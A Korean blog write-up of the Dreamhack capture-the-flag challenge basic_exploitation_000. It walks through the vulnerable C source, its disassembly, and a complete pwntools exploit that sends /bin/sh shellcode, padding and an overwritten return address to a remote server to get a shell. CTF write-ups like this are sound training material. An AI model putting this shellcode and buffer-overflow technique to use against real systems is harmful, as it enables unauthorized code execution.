[dreamhack] basic_exploitation_000

Monitor In Secure☃️·2024년 4월 2일

wargame_pwn

목록 보기
4/11

변수 buf의 시작 주소값임을 예측할 수 있다.

[제공된 c파일]

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

위 코드를 통해 buf변수는 0x80(128)으로 설정되어 있지만, scnaf 함수를 통해 설정된 변수보다 더 많은 141만큼 입력할 수 있다는 코드임을 알 수 있다. 따라서 버퍼오버플로우가 발생한다는 것을 확인할 수 있다.

gdb를 통해 어셈블리어 코드를 확인해보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:	push   ebp
   0x080485da <+1>:	mov    ebp,esp
   0x080485dc <+3>:	add    esp,0xffffff80
   0x080485df <+6>:	call   0x8048592 <initialize>
   0x080485e4 <+11>:	lea    eax,[ebp-0x80]
   0x080485e7 <+14>:	push   eax
   0x080485e8 <+15>:	push   0x8048699
   0x080485ed <+20>:	call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:	add    esp,0x8
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:	add    esp,0x8
   0x08048606 <+45>:	mov    eax,0x0
   0x0804860b <+50>:	leave  
   0x0804860c <+51>:	ret    
End of assembler dump.

[스택의 기본 구조]

따라서 코드에 반영되는 스택 구조는 다음과 같다.

scanf 함수에 대한 쉘코드를 작성해야하기 때문에, 먼저 구글링을 통해 쉘코드를 확인하였다.

https://hackhijack64.tistory.com/38

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

[payload 코드 설계]
BOF 공격이 나타나기 위해서는 ret 전까지 버퍼에 쉘코드를 포함해서 채워놓고 ret에 침범해서 설정된 buf의 주소값을 삽입하게 되면 ret에 도달했을 때 buf 변수로 이동하게 되면서, 삽입한 쉘코드가 실행되기 될 것이다.

어셈블리 코드가 e로 시작되기 때문에(ebp, esp, eax ...) 32bit이고 버퍼 한 개의 크기 당 4byte씩 할당된다는 것을 알 수 있다.

따라서 buf+ebp = 128+4 = 132byte만큼 채워야하고, buf 안에 먼저 scanf 쉘코드(26byte) + 아무 문자 입력(106byte) + buf 주소값
이렇게 payload를 구현하면 될 것 같다.

from pwn import *

p = remote("host3.dreamhack.games", 17307) // 원격 접속

p.recvuntil("buf = (") // 어디까지 읽을건지 설정 (buf = (0xff9af8a8))

buf_addr = int(p.recv(10), 16) // 10자리를 16진수로 바꿔서 저장 (buf의 주소값이 총 10자리 이므로)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" // scanf shellcode 삽입)
payload += b"a"*106 // 아무 문자나 입력
payload += p32(buf_addr) // buf주소값을 32bit 방식으로 저장

p.sendline(payload) // 완성한 payload값 전송
p.interactive() // 쉘에 접속


코드를 실행시키면 관련 서버에 진입하게 되어 cat 명령어를 통해 flag를 알아내면 된다.

관련 패키지 설치 안내 : https://velog.io/@sin787879/pwn-%EA%B4%80%EB%A0%A8-%EC%84%A4%EC%B9%98
pwntools 사용법 : https://velog.io/@sin787879/pwntools-%EC%82%AC%EC%9A%A9%EB%B2%95

0개의 댓글